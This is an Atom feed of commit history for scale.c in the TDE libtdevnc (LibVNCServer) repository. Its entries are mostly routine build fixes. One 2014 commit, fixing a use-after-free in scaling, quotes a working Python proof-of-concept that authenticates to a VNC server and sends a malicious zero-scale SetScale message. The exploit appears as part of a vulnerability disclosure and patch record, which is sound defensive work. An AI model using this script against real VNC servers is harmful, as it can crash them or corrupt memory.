<feed xmlns='http://www.w3.org/2005/Atom'>
<title>libtdevnc/libvncserver/scale.c, branch r14.1.4</title>
<subtitle>Shared TDE VNC library sources
</subtitle>
<id>https://scm.trinitydesktop.org/cgit/libtdevnc/atom?h=r14.1.4</id>
<link rel='self' href='https://scm.trinitydesktop.org/cgit/libtdevnc/atom?h=r14.1.4'/>
<link rel='alternate' type='text/html' href='https://scm.trinitydesktop.org/cgit/libtdevnc/'/>
<updated>2019-02-06T15:56:55Z</updated>
<entry>
<title>Merge tag 'LibVNCServer-0.9.12'</title>
<updated>2019-02-06T15:56:55Z</updated>
<author>
<name>Slávek Banko</name>
<email>slavek.banko@axis.cz</email>
</author>
<published>2019-02-06T15:56:55Z</published>
<link rel='alternate' type='text/html' href='https://scm.trinitydesktop.org/cgit/libtdevnc/commit/?id=f3f392caec43b4095bc1d84b315ed7972c13c144'/>
<id>urn:sha1:f3f392caec43b4095bc1d84b315ed7972c13c144</id>
<content type='text'>
Signed-off-by: Slávek Banko &lt;slavek.banko@axis.cz&gt;
</content>
</entry>
<entry>
<title>Removed _BSD_SOURCE, _SVID_SOURCE, _GNU_SOURCE, _XOPEN_SOURCE.</title>
<updated>2018-10-08T12:59:54Z</updated>
<author>
<name>Michele Calgaro</name>
<email>michele.calgaro@yahoo.it</email>
</author>
<published>2018-10-08T12:48:14Z</published>
<link rel='alternate' type='text/html' href='https://scm.trinitydesktop.org/cgit/libtdevnc/commit/?id=8c081c8888bccbf5adfe0fc4ec518e2cbfba9871'/>
<id>urn:sha1:8c081c8888bccbf5adfe0fc4ec518e2cbfba9871</id>
<content type='text'>
Signed-off-by: Michele Calgaro &lt;michele.calgaro@yahoo.it&gt;
</content>
</entry>
<entry>
<title>Fix building in C89 mode</title>
<updated>2017-02-20T19:47:42Z</updated>
<author>
<name>Christian Beier</name>
<email>dontmind@freeshell.org</email>
</author>
<published>2017-02-20T19:47:42Z</published>
<link rel='alternate' type='text/html' href='https://scm.trinitydesktop.org/cgit/libtdevnc/commit/?id=425e24196b7de15875d08c94c5ff59a6a3642654'/>
<id>urn:sha1:425e24196b7de15875d08c94c5ff59a6a3642654</id>
<content type='text'>
FIXME: this should probably be refactored into a common header.
</content>
</entry>
<entry>
<title>Fix some typos (found by codespell)</title>
<updated>2015-10-09T15:13:35Z</updated>
<author>
<name>Stefan Weil</name>
<email>sw@weilnetz.de</email>
</author>
<published>2015-10-09T15:13:35Z</published>
<link rel='alternate' type='text/html' href='https://scm.trinitydesktop.org/cgit/libtdevnc/commit/?id=9c7efb7633ba62cd80c93e83284663f805bb3031'/>
<id>urn:sha1:9c7efb7633ba62cd80c93e83284663f805bb3031</id>
<content type='text'>
Signed-off-by: Stefan Weil &lt;sw@weilnetz.de&gt;
</content>
</entry>
<entry>
<title>Fix Use-After-Free vulnerability in LibVNCServer wrt scaling.</title>
<updated>2014-10-21T15:33:28Z</updated>
<author>
<name>Christian Beier</name>
<email>dontmind@freeshell.org</email>
</author>
<published>2014-10-21T15:33:28Z</published>
<link rel='alternate' type='text/html' href='https://scm.trinitydesktop.org/cgit/libtdevnc/commit/?id=668d3e3785bef9ee9a887192ee37f043d0d3c2f4'/>
<id>urn:sha1:668d3e3785bef9ee9a887192ee37f043d0d3c2f4</id>
<content type='text'>
Reported by Ken Johnson &lt;Ken.Johnson1@telus.com&gt;.

The vulnerability would occur in both the rfbPalmVNCSetScaleFactor and rfbSetScale cases in the rfbProcessClientNormalMessage function of rfbserver.c. Sending a valid scaling factor is required (non-zero)

      if (msg.ssc.scale == 0) {
          rfbLogPerror("rfbProcessClientNormalMessage: will not accept a scale factor of zero");
          rfbCloseClient(cl);
          return;
      }

      rfbStatRecordMessageRcvd(cl, msg.type, sz_rfbSetScaleMsg, sz_rfbSetScaleMsg);
      rfbLog("rfbSetScale(%d)\n", msg.ssc.scale);
      rfbScalingSetup(cl,cl-&gt;screen-&gt;width/msg.ssc.scale, cl-&gt;screen-&gt;height/msg.ssc.scale);

      rfbSendNewScaleSize(cl); &lt;&lt; This is the call that can trigger a free.
      return;

at the end, both cases there is a call the rfbSendNewScaleSize function, where if the connection is subsequently disconnected after sending the VNC scaling message can lead to a free occurring.

    else
    {
        rfbResizeFrameBufferMsg        rmsg;
        rmsg.type = rfbResizeFrameBuffer;
        rmsg.pad1=0;
        rmsg.framebufferWidth  = Swap16IfLE(cl-&gt;scaledScreen-&gt;width);
        rmsg.framebufferHeigth = Swap16IfLE(cl-&gt;scaledScreen-&gt;height);
        rfbLog("Sending a response to a UltraVNC style frameuffer resize event (%dx%d)\n", cl-&gt;scaledScreen-&gt;width, cl-&gt;scaledScreen-&gt;height);
        if (rfbWriteExact(cl, (char *)&amp;rmsg, sz_rfbResizeFrameBufferMsg) &lt; 0) {
            rfbLogPerror("rfbNewClient: write");
            rfbCloseClient(cl);
            rfbClientConnectionGone(cl); &lt;&lt; Call which may can lead to a free.
            return FALSE;
        }
    }
    return TRUE;

Once this function returns, eventually rfbClientConnectionGone is called again on the return from rfbProcessClientNormalMessage. In KRFB server this leads to an attempt to access client-&gt;data.

POC script to trigger the vulnerability:

---snip---

import socket,binascii,struct,sys
from time import sleep

class RFB:

    INIT_3008 = "\x52\x46\x42\x20\x30\x30\x33\x2e\x30\x30\x38\x0a"
    AUTH_NO_PASS  = "\x01"
    AUTH_PASS = "\x02"
    SHARE_DESKTOP = "\x01"

    def AUTH_PROCESS(self,data,flag):
        if flag == 0:
            # Get security types
            secTypeCount = data[0]
            secType = {}
            for i in range(int(len(secTypeCount))):
                secType[i] = data[1]
            return secType
        elif flag == 1:
            # Get auth result
            # 0 means auth success
            # 1 means failure
            return data[3]

    def AUTH_PROCESS_CHALLENGE(self, data, PASSWORD):
        try:
            from Crypto.Cipher import DES
        except:
            print "Error importing crypto. Please fix or do not require authentication"
            sys.exit(1)
        if len(PASSWORD) != 8:
            PASSWORD = PASSWORD.ljust(8, '\0')

        PASSWORD_SWAP = [self.reverse_bits(ord(PASSWORD[0])),self.reverse_bits(ord(PASSWORD[1])),self.reverse_bits(ord(PASSWORD[2])),self.reverse_bits(ord(PASSWORD[3])),self.reverse_bits(ord(PASSWORD[4])),self.reverse_bits(ord(PASSWORD[5])),self.reverse_bits(ord(PASSWORD[6])),self.reverse_bits(ord(PASSWORD[7]))]
        PASSWORD = (struct.pack("BBBBBBBB",PASSWORD_SWAP[0],PASSWORD_SWAP[1],PASSWORD_SWAP[2],PASSWORD_SWAP[3],PASSWORD_SWAP[4],PASSWORD_SWAP[5],PASSWORD_SWAP[6],PASSWORD_SWAP[7]))
        crypto = DES.new(PASSWORD)
        return crypto.encrypt(data)

    def reverse_bits(self,x):
        a=0
        for i in range(8):
            a += ((x&gt;&gt;i)&amp;1)&lt;&lt;(7-i)
        return a

def main(argv):

    print "Proof of Concept"
    print "Copyright TELUS Security Labs"
    print "All Rights Reserved.\n"

    try:
        HOST = sys.argv[1]
        PORT = int(sys.argv[2])
    except:
        print "Usage: python setscale_segv_poc.py &lt;host&gt; &lt;port&gt; [password]"
        sys.exit(1)
    try:
        PASSWORD = sys.argv[3]
    except:
        print "No password supplied"
        PASSWORD = ""

    vnc = RFB()

    remote = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    remote.connect((HOST,PORT))

    # Get server version
    data = remote.recv(1024)
    # Send 3.8 version
    remote.send(vnc.INIT_3008)
    # Get supported security types
    data = remote.recv(1024)
    # Process Security Message
    secType = vnc.AUTH_PROCESS(data,0)

    if secType[0] == "\x02":
        # Send accept for password auth
        remote.send(vnc.AUTH_PASS)
        # Get challenge
        data = remote.recv(1024)
        # Send challenge response
        remote.send(vnc.AUTH_PROCESS_CHALLENGE(data,PASSWORD))

    elif secType[0] == "\x01":
        # Send accept for None pass
        remote.send(vnc.AUTH_NO_PASS)

    else:
        print 'The server sent us something weird during auth.'
        sys.exit(1)

    # Get result
    data = remote.recv(1024)
    # Process result
    result = vnc.AUTH_PROCESS(data,1)

    if result == "\x01":
        # Authentication failure.
        data = remote.recv(1024)
        print 'Authentication failure. Server Reason: ' + str(data)
        sys.exit(1)

    elif result == "\x00":
        print "Authentication success."

    else:
        print 'Some other authentication issue occured.'
        sys.exit(1)

    # Send ClientInit
    remote.send(vnc.SHARE_DESKTOP)

    # Send malicious message
    print "Sending malicious data..."
    remote.send("\x08\x08\x00\x00")
    remote.close()

if __name__ == "__main__":
    main(sys.argv)

---snap---
</content>
</entry>
<entry>
<title>Make sure that no integer overflow could occur during scaling</title>
<updated>2014-10-06T18:13:00Z</updated>
<author>
<name>newsoft</name>
<email>newsoft@gmx.fr</email>
</author>
<published>2014-10-06T18:13:00Z</published>
<link rel='alternate' type='text/html' href='https://scm.trinitydesktop.org/cgit/libtdevnc/commit/?id=8220f4da4c4f42d8208f09346414f15121153da6'/>
<id>urn:sha1:8220f4da4c4f42d8208f09346414f15121153da6</id>
<content type='text'>
</content>
</entry>
<entry>
<title>Fix compilation in c89 mode.</title>
<updated>2011-04-28T09:42:59Z</updated>
<author>
<name>George Kiagiadakis</name>
<email>kiagiadakis.george@gmail.com</email>
</author>
<published>2010-11-10T18:57:13Z</published>
<link rel='alternate' type='text/html' href='https://scm.trinitydesktop.org/cgit/libtdevnc/commit/?id=35246edddd952a6d83511f69cba47536495e4700'/>
<id>urn:sha1:35246edddd952a6d83511f69cba47536495e4700</id>
<content type='text'>
Signed-off-by: Johannes Schindelin &lt;johannes.schindelin@gmx.de&gt;
</content>
</entry>
<entry>
<title>Cleanup: remove CORBA stuff.</title>
<updated>2010-09-13T12:17:43Z</updated>
<author>
<name>Christian Beier</name>
<email>dontmind@freeshell.org</email>
</author>
<published>2010-09-06T14:12:30Z</published>
<link rel='alternate' type='text/html' href='https://scm.trinitydesktop.org/cgit/libtdevnc/commit/?id=0df84e5c27eefad8b731b12d58f8fbede71823e0'/>
<id>urn:sha1:0df84e5c27eefad8b731b12d58f8fbede71823e0</id>
<content type='text'>
The header file and most of the functions referred to
do not exist in libvncserver.

Signed-off-by: Christian Beier &lt;dontmind@freeshell.org&gt;
</content>
</entry>
<entry>
<title>Add ZYWRLE server-side support (thanks Noriaki Yamazaki, Hitachi)</title>
<updated>2008-01-29T11:50:16Z</updated>
<author>
<name>dscho</name>
<email>dscho</email>
</author>
<published>2008-01-29T11:50:16Z</published>
<link rel='alternate' type='text/html' href='https://scm.trinitydesktop.org/cgit/libtdevnc/commit/?id=059afcdf819f63a5ac3a93ef3060fd172234ab82'/>
<id>urn:sha1:059afcdf819f63a5ac3a93ef3060fd172234ab82</id>
<content type='text'>
Signed-off-by: Johannes Schindelin &lt;johannes.schindelin@gmx.de&gt;
</content>
</entry>
<entry>
<title>The great UltraVNC Compatibility Commit</title>
<updated>2006-05-15T05:37:39Z</updated>
<author>
<name>steven_carr</name>
<email>steven_carr</email>
</author>
<published>2006-05-15T05:37:39Z</published>
<link rel='alternate' type='text/html' href='https://scm.trinitydesktop.org/cgit/libtdevnc/commit/?id=ccdbe8f3256c3c776a1cc1a0517a38437b9e2c65'/>
<id>urn:sha1:ccdbe8f3256c3c776a1cc1a0517a38437b9e2c65</id>
<content type='text'>
</content>
</entry>
</feed>
